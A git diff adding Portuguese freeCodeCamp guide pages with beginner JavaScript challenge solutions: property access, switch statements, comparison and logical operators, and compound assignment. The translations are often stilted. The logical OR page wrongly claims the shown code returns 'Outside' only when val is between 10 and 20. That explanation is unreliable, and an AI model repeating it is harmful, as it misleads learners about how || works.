+---
+title: Accessing Object Properties with Bracket Notation
+localeTitle: Acessando propriedades de objeto com notação de suporte
+---
+## Acessando propriedades de objeto com notação de suporte
+
+Aqui está uma solução possível:
+
+```js
+var testObj = { 
+  "an entree": "hamburger", 
+  "my side": "veggies", 
+  "the drink": "water" 
+ }; 
+ 
+ // Only change code below this line 
+ 
+ var entreeValue = testObj["an entree"];   // Change this line 
+ var drinkValue = testObj["the drink"];    // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md
new file mode 100644
index 0000000000..463a8d2e1e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-dot-notation/index.md
@@ -0,0 +1,21 @@
+---
+title: Accessing Object Properties with Dot Notation
+localeTitle: Acessando propriedades de objeto com notação de ponto
+---
+## Acessando propriedades de objeto com notação de ponto
+
+Aqui está uma solução possível:
+
+```js
+var testObj = { 
+  "hat": "ballcap", 
+  "shirt": "jersey", 
+  "shoes": "cleats" 
+ }; 
+ 
+ // Only change code below this line 
+ 
+ var hatValue = testObj.hat;      // Change this line 
+ var shirtValue = testObj.shirt;    // Change this line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md
new file mode 100644
index 0000000000..99920b3d4c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-variables/index.md
@@ -0,0 +1,22 @@
+---
+title: Accessing Object Properties with Variables
+localeTitle: Acessando propriedades de objetos com variáveis
+---
+## Acessando propriedades de objetos com variáveis
+
+Aqui está uma solução de trabalho, caso você esteja preso:
+
+```js
+// Setup 
+ var testObj = { 
+  12: "Namath", 
+  16: "Montana", 
+  19: "Unitas" 
+ }; 
+ 
+ // Only change code below this line; 
+ 
+ var playerNumber = 16;       // Change this Line 
+ var player = testObj[playerNumber];   // Change this Line 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md
new file mode 100644
index 0000000000..a431cdeae0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-new-properties-to-a-javascript-object/index.md
@@ -0,0 +1,33 @@
+---
+title: Add New Properties to a JavaScript Object
+localeTitle: Adicionar novas propriedades a um objeto JavaScript
+---
+## Adicionar novas propriedades a um objeto JavaScript
+
+Aqui está o exemplo:
+
+```js
+var ourDog = { 
+  "name": "Camper", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["everything!"] 
+ }; 
+ 
+ ourDog.bark = "bow-wow"; 
+```
+
+Aqui está uma solução:
+
+```js
+var myDog = { 
+  "name": "Happy Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"] 
+ }; 
+ 
+ // Only change code below this line. 
+ myDog.bark = "woof"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..c5e9bf2559
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/add-two-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Two Numbers with JavaScript
+localeTitle: Adicione dois números com JavaScript
+---
+# Adicione dois números com JavaScript
+
+JavaScript usa o símbolo `+` para adição.
+```
+var sum = 10 + 10; //sum gets the value 20 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md
new file mode 100644
index 0000000000..edd0d1abc9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/adding-a-default-option-in-switch-statements/index.md
@@ -0,0 +1,28 @@
+---
+title: Adding a Default Option in Switch Statements
+localeTitle: Adicionando uma opção padrão em instruções de troca
+---
+# Adicionando uma opção padrão em instruções de troca
+
+*   Adicionar uma opção padrão garante que, caso sua variável não corresponda a nenhuma das opções, o padrão será usado.
+
+## Solução:
+
+```javascript
+function switchOfStuff(val) { 
+  var answer = ""; 
+ 
+  switch(val){ 
+    case 'a': answer = 'apple'; 
+    break; 
+    case 'b': answer = 'bird'; 
+    break; 
+    case 'c': answer = 'cat'; 
+    break; 
+    default: answer = 'stuff'; 
+  } 
+ 
+  return answer; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md
new file mode 100644
index 0000000000..3677a8fbc9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/appending-variables-to-strings/index.md
@@ -0,0 +1,13 @@
+---
+title: Appending Variables to Strings
+localeTitle: Anexando variáveis ​​a seqüências de caracteres
+---
+## Anexando variáveis ​​a seqüências de caracteres
+
+Verifique se a ortografia e o espaçamento estão corretos. Anexar strings (armazenadas dentro de variáveis) pode ser feito da seguinte forma:
+```
+var adj = "happy!"; 
+ var sent = "Today, I woke up being "; 
+ sent += adj; // The result is "Today, I woke up being happy!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md
new file mode 100644
index 0000000000..d019c7f7e6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/assignment-with-a-returned-value/index.md
@@ -0,0 +1,14 @@
+---
+title: Assignment with a Returned Value
+localeTitle: Atribuição com um valor retornado
+---
+## Atribuição com um valor retornado
+
+As funções agem como espaços reservados para os dados que eles geram. Basicamente, você pode atribuir a saída de uma função a uma variável, assim como qualquer dado normal.
+
+Aqui está a solução básica de código:
+
+```javascript
+processed = processArg(7); // Equal to 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md
new file mode 100644
index 0000000000..c56ccc3a9a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/build-javascript-objects/index.md
@@ -0,0 +1,19 @@
+---
+title: Build JavaScript Objects
+localeTitle: Construa objetos JavaScript
+---
+# Construa objetos JavaScript
+
+Os objetos são semelhantes aos arrays, exceto que, em vez de usar índices para acessar e modificar seus dados, você acessa os dados em objetos por meio do que são chamados de propriedades.
+
+Aqui está um objeto de amostra:
+```
+var cat = { 
+    "name": "Whiskers", 
+    "legs": 4, 
+    "tails": 1, 
+    "enemies": ["Water", "Dogs"] 
+ }; 
+```
+
+Os objetos são úteis para armazenar dados de maneira estruturada e podem representar objetos do mundo real, como os gatos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md
new file mode 100644
index 0000000000..14617c98be
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/chaining-if-else-statements/index.md
@@ -0,0 +1,63 @@
+---
+title: Chaining If Else Statements
+localeTitle: Encadeamento Se Mais Declarações
+---
+## Encadeamento Se Mais Declarações
+
+*   `If` : o primeiro condicional em toda instrução if / else, caso a condicional seja _verdadeira_ , execute o código e ignore o resto.
+*   `Else if` : nunca pode ser usado como o primeiro condicional. É sempre uma condicional depois de um `if` , caso a condicional seja verdadeira, execute o código. Caso contrário, salta para o próximo condicional.
+*   `Else` : caso todas as condicionais anteriores sejam _falsas_ , **outra** é executada.
+
+### Explicação do problema:
+
+_Escreva encadeado `if` / `else if` instruções preencherem as seguintes condições_ :
+
+_`num < 5` - retorna "minúsculo" `num < 10` - retorna "Pequeno" `num < 15` - return "Medium" `num < 20` - retorna "Grande" `num >= 20` - retornar "Enorme"_
+
+#### Sugestão 1
+
+Lembre-se de que você pode combinar (encadear) várias declarações `if...else` uma após a outra até que a última use `else if (condition) {do this}` .
+
+> _tente resolver o problema agora_
+> 
+> #### Sugestão 2
+> 
+> Às vezes, quando você escreve mais código do que você está acostumado e isso não funciona, as pequenas coisas são o que nos traem. A verificação da falta de ponto-e-vírgula, colchetes etc. pode ser muito útil. _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução:
+
+```javascript
+function testSize(num) { 
+  // Only change code below this line 
+  if (num < 5){ 
+    return "Tiny"; 
+  } 
+  else if (num < 10) { 
+    return "Small"; 
+  } 
+  else if (num < 15){ 
+    return "Medium"; 
+  } 
+  else if (num < 20){ 
+    return "Large"; 
+  } 
+  else { 
+    return "Huge"; 
+  } 
+  // Only change code above this line 
+ } 
+```
+
+· Executar código em [repl.it](https://repl.it/@AdrianSkar/Basic-JS-Chaining-ifelse-statements)
+
+### Explicação de código
+
+A função primeiro verifica a condição `if` `(num < 5)` . Se for avaliado como `true` , retorna a instrução entre as chaves ("Tiny"). Se isso não acontecer, ele verifica a próxima condição até a última instrução `else` .
+
+### Recursos
+
+*   ["if… else" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md
new file mode 100644
index 0000000000..57254c1326
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comment-your-javascript-code/index.md
@@ -0,0 +1,22 @@
+---
+title: Comment Your JavaScript Code
+localeTitle: Comente seu código JavaScript
+---
+## Comente seu código JavaScript
+
+Comentar permite que você digite coisas que você não quer que o computador execute como código. Por exemplo, notas para outros programadores, direções e mais. Veja como criar um comentário de linha única.
+```
+// Hey, I'm a comment! 
+```
+
+Agora, se você quiser comentar um parágrafo inteiro, isso pode ser facilmente realizado com…
+```
+/* 
+  Hey, I'm a paragraph comment. 
+  This allows for programmers to 
+  write tons and tons of random 
+  words, without the fear of me 
+  being compiled! 
+ */ 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md
new file mode 100644
index 0000000000..c81c91ca2a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator/index.md
@@ -0,0 +1,46 @@
+---
+title: Comparison with the Equality Operator
+localeTitle: Comparação com o operador de igualdade
+---
+## Comparação com o operador de igualdade
+
+### Explicação do problema:
+
+_Adicione o operador de igualdade à linha indicada para que a função retorne "Equal" quando `val` é equivalente a 12._
+
+#### Sugestão 1
+
+Lembre-se que a _igualdade é diferente da atribuição ( `=` ), que atribui o valor à direita do operador a uma variável à esquerda._ [1](#cite1)
+
+> _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+function testEqual(val) { 
+  if (val == 12) { // Change this line 
+    return "Equal"; 
+  } 
+  return "Not equal"; 
+ } 
+ // Change this value to test 
+ testEqual(10); 
+```
+
+· [Executar código em repl.it](https://repl.it/@AdrianSkar/Basic-JS-Equality-operator)
+
+### Explicação de código
+
+A função primeiro avalia `if` a condição `(val == 12)` avaliada como `true` . Em caso afirmativo, retorna a instrução entre as chaves ("Equal"). Caso contrário, retorna a próxima instrução de `return` fora deles ("Não é igual").
+
+### Fontes
+
+1 ["JavaScript Básico: Comparação com o Operador de Igualdade", lição do fCC em _Algoritmos de Javascript e Certificação de Estruturas de Dados_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator)
+
+### Recursos
+
+*   ["Operador de igualdade" - _referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality_())
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md
new file mode 100644
index 0000000000..e5616e114e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Greater Than Operator
+localeTitle: Comparação com o operador Maior que
+---
+## Comparação com o operador Maior que
+
+`>` (Maior que) é um operador lógico que retorna caso verdadeiro o valor à esquerda é maior que o da direita.
+
+## Solução Básica
+
+```javascript
+function testGreaterThan(val) { 
+  if (val > 100) 
+    return "Over 100"; 
+ 
+  if (val > 10) 
+    return "Over 10"; 
+ 
+  return "10 or Under"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md
new file mode 100644
index 0000000000..1b7544f7a3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-greater-than-or-equal-to-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Greater Than Or Equal To Operator
+localeTitle: Comparação com o maior que ou igual ao operador
+---
+## Comparação com o maior que ou igual ao operador
+
+*   `>=` (Maior que ou Igual a) é um operador lógico que retorna caso verdadeiro o valor à esquerda é o **mesmo ou maior** que o da direita.
+
+## Solução Básica
+
+```javascript
+function testGreaterOrEqual(val) { 
+  if (val >= 20) 
+    return "20 or Over"; 
+ 
+  if (val >= 10) 
+    return "10 or Over"; 
+ 
+  return "Less than 10"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md
new file mode 100644
index 0000000000..cc60099890
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-inequality-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Comparison with the Inequality Operator
+localeTitle: Comparação com o operador Inequality
+---
+## Comparação com o operador Inequality
+
+*   `!=` (Inequality) é um operador lógico que retorna caso verdadeiro, o valor à esquerda é diferente daquele à direita.
+*   O operador de desigualdade considera `7` e `"7"` o mesmo porque não compara o tipo da variável.
+
+## Solução Básica
+
+```javascript
+function testNotEqual(val) { 
+  if (val != 99) 
+    return "Not Equal"; 
+ 
+  return "Equal"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md
new file mode 100644
index 0000000000..80188dd4d9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Less Than Operator
+localeTitle: Comparação com o menor que o operador
+---
+## Comparação com o menor que o operador
+
+**`<`** (Less Than) é um operador lógico que retorna caso verdadeiro, o valor à esquerda é menor que o da direita.
+
+## Solução Básica
+
+```javascript
+function testLessThan(val) { 
+  if (val < 25) 
+    return "Under 25"; 
+ 
+  if (val < 55) 
+    return "Under 55"; 
+ 
+  return "55 or Over"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md
new file mode 100644
index 0000000000..c25169baaa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Less Than Or Equal To Operator
+localeTitle: Comparação com o menor ou igual ao operador
+---
+## Comparação com o menor ou igual ao operador
+
+**`<=`** (Menor que ou igual a) é um operador lógico que retorna caso verdadeiro o valor à esquerda é o **mesmo ou menor** que o da direita.
+
+## Solução Básica
+
+```javascript
+function testLessOrEqual(val) { 
+  if (val <= 12) 
+    return "Smaller Than or Equal to 12"; 
+ 
+  if (val <= 24) 
+    return "Smaller Than or Equal to 24"; 
+ 
+  return "More Than 24"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md
new file mode 100644
index 0000000000..8ef5376731
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md
@@ -0,0 +1,56 @@
+---
+title: Comparison with the strict equality operator
+localeTitle: Comparação com o operador estrito de igualdade
+---
+## Comparação com o operador estrito de igualdade
+
+### Explicação do problema:
+
+· _Use o operador de igualdade estrito na instrução `if` para que a função retorne "Equal" quando `val` for estritamente igual a `7` ._
+
+#### Sugestão 1
+
+Lembre-se do exercício anterior que a _igualdade é diferente da atribuição ( `=` ), que atribui o valor à direita do operador a uma variável à esquerda._ [1](#cite1)
+
+> _tente resolver o problema agora_
+> 
+> #### Sugestão 2
+> 
+> _Ao contrário do operador de igualdade, que tenta converter os dois valores sendo comparados a um tipo comum, o operador de igualdade estrita não executa uma conversão de tipo._ [2](#cite2) _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+// Setup 
+ function testStrict(val) { 
+  if (val === 7) { // Change this line 
+    return "Equal"; 
+  } 
+  return "Not equal"; 
+ } 
+ 
+ // Change this value to test 
+ testStrict(10); 
+```
+
+### Explicação de código
+
+A função primeiro avalia `if` a condição `(val === 7)` avaliada como `true` . Em caso afirmativo, retorna a instrução entre as chaves ("Equal"). Caso contrário, retorna a próxima instrução de `return` fora deles ("Não é igual").
+
+### Fontes
+
+1 ["JavaScript Básico: Comparação com o Operador de Igualdade", lição do fCC em _Algoritmos de Javascript e Certificação de Estruturas de Dados_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator)
+
+2 ["JavaScript Básico: Comparação com o Operador de Igualdade Estrita", lição do fCC em _Algoritmos de Javascript e Certificação de Estruturas de Dados_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator)
+
+### Recursos
+
+*   ["if… else" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
+    
+*   [Kondov, Alexander. "Entendendo JS: Coerção". _Hackernoon_](https://hackernoon.com/understanding-js-coercion-ff5684475bfc) , acessado em 15 de setembro de 2018
+    
+*   ["Operadores de comparação" - _referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md
new file mode 100644
index 0000000000..98958598e5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md
@@ -0,0 +1,41 @@
+---
+title: Comparison with the Strict Inequality Operator
+localeTitle: Comparação com o Operador Estrito da Desigualdade
+---
+## Comparação com o Operador Estrito da Desigualdade
+
+### Explicação do problema:
+
+· _Adicione o `strict inequality operator` à instrução `if` para que a função retorne "Not Equal" quando `val` não for estritamente igual a `17` ._
+
+#### Sugestão 1
+
+O operador de desigualdade estrita ( `!==` ) retornará `true` se o primeiro valor não for igual ao segundo considerando o tipo de valor.
+
+> _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+function testStrictNotEqual(val) { 
+  if (val !== 17) { 
+    return "Not equal"; 
+  } 
+  return "Equal"; 
+ } 
+ 
+ // Change this value to test 
+ testStrictNotEqual(10); 
+```
+
+### Explicação de código
+
+A função primeiro avalia `if` a condição `(val !== 17)` avaliada como `true` considerando tanto o valor quanto o tipo de valor. Em caso afirmativo, retorna a instrução entre as chaves ("Não é igual"). Caso contrário, retorna a próxima instrução de `return` fora deles ("Equal").
+
+### Recursos
+
+*   ["Não-identidade / desigualdade estrita (! ==)" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Non-identity_strict_inequality_(!))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md
new file mode 100644
index 0000000000..3b62f901cd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md
@@ -0,0 +1,53 @@
+---
+title: Comparisons with the && (logical AND) operator
+localeTitle: Comparações com o operador && (AND lógico)
+---
+## Comparações com o operador && (AND lógico)
+
+### Explicação do problema:
+
+· _Combine as duas declarações if em uma instrução que retornará `"Yes"` se `val` for menor ou igual a `50` e maior ou igual a `25` . Caso contrário, retornará `"No"` ._
+
+#### Sugestão 1
+
+O operador lógico AND ( `&&` ) compara ambas as declarações e retorna `true` somente se ambas forem verdadeiras ou puderem ser convertidas para true (verdade).
+
+> _tente resolver o problema agora_
+
+#### Sugestão 2
+
+Lembre-se de que esse efeito também pode ser obtido aninhando- `if` instruções.
+
+> _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+function testLogicalAnd(val) { 
+  // Only change code below this line 
+ 
+  if (val <= 50 && val >= 25) { 
+      return "Yes"; 
+  } 
+ 
+  // Only change code above this line 
+  return "No"; 
+ } 
+ 
+ // Change this value to test 
+ testLogicalAnd(10); 
+```
+
+· [Executar código em repl.it](https://repl.it/@AdrianSkar/Basic-JS-Comparison-with-the-and-operator)
+
+### Explicação de código
+
+A função primeiro avalia `if` a condição `val <= 50` avaliada como `true` `val` conversão para um número se necessário, então faz o mesmo com `val >=25` por causa do operador lógico AND ( `&&` ); se ambos retornarem true, a instrução `return "Yes"` será executada.
+
+### Recursos
+
+*   ["Operadores lógicos" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md
new file mode 100644
index 0000000000..28cd5ecc1e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md
@@ -0,0 +1,19 @@
+---
+title: Comparisons with the Logical Or Operator
+localeTitle: Comparações com o lógico ou operador
+---
+## Comparações com o lógico ou operador
+
+### Guia: Siga o código dado no exemplo
+
+**Alerta de Spoiler**
+
+Abaixo está o código de exemplo (a maneira mais simples).
+
+```javascript
+if ( val < 10 || val > 20 ) { 
+    return "Outside"; 
+ } 
+```
+
+O código acima retornará "Outside" somente se `val` estiver entre 10 e 20 (inclusive).
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md
new file mode 100644
index 0000000000..1530bbf456
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Addition
+localeTitle: Atribuição composta com adição aumentada
+---
+## Atribuição composta com adição aumentada
+
+Computadores lidos da esquerda para a direita. Então, usando o operador '+ =' significa que a variável é adicionada com o número correto, então a variável é atribuída à soma. Igual a:
+```
+var a = 9; 
+ a += 10; // Now, 'a' is equal to 19 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md
new file mode 100644
index 0000000000..ce57a0ad12
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Division
+localeTitle: Atribuição Composta Com Divisão Aumentada
+---
+## Atribuição Composta Com Divisão Aumentada
+
+Computadores lidos da esquerda para a direita. Então, usando o operador '/ =' significa que a variável é dividida com o número à direita, então a variável é atribuída ao quociente. Igual a:
+```
+var d = 10; 
+ d /= 5; // Now, 'd' is equal to 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md
new file mode 100644
index 0000000000..c4c0445caa
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Multiplication
+localeTitle: Atribuição Composta Com Multiplicação Aumentada
+---
+## Atribuição Composta Com Multiplicação Aumentada
+
+Computadores lidos da esquerda para a direita. Então, usando o operador de atribuição de multiplicação significa que a variável é multiplicada com o número à direita, então a variável é atribuída ao produto. Igual a:
+```
+var c = 2; 
+ c *= 3; // Now, 'c' is equal to 6 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md
new file mode 100644
index 0000000000..55dd1b2ebb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Subtraction
+localeTitle: Atribuição Composta com Subtração Aumentada
+---
+## Atribuição Composta com Subtração Aumentada
+
+Computadores lidos da esquerda para a direita. Então, usando o operador '- =' significa que a variável é subtraída pelo número à direita, então a variável é atribuída à diferença. Igual a:
+```
+var b = 10; 
+ b -= 4; // Now, 'b' is 6 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md
new file mode 100644
index 0000000000..7b62d3601d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md
@@ -0,0 +1,12 @@
+---
+title: Concatenating Strings with Plus Operator
+localeTitle: Concatenando Strings com Operador Plus
+---
+## Concatenando Strings com Operador Plus
+
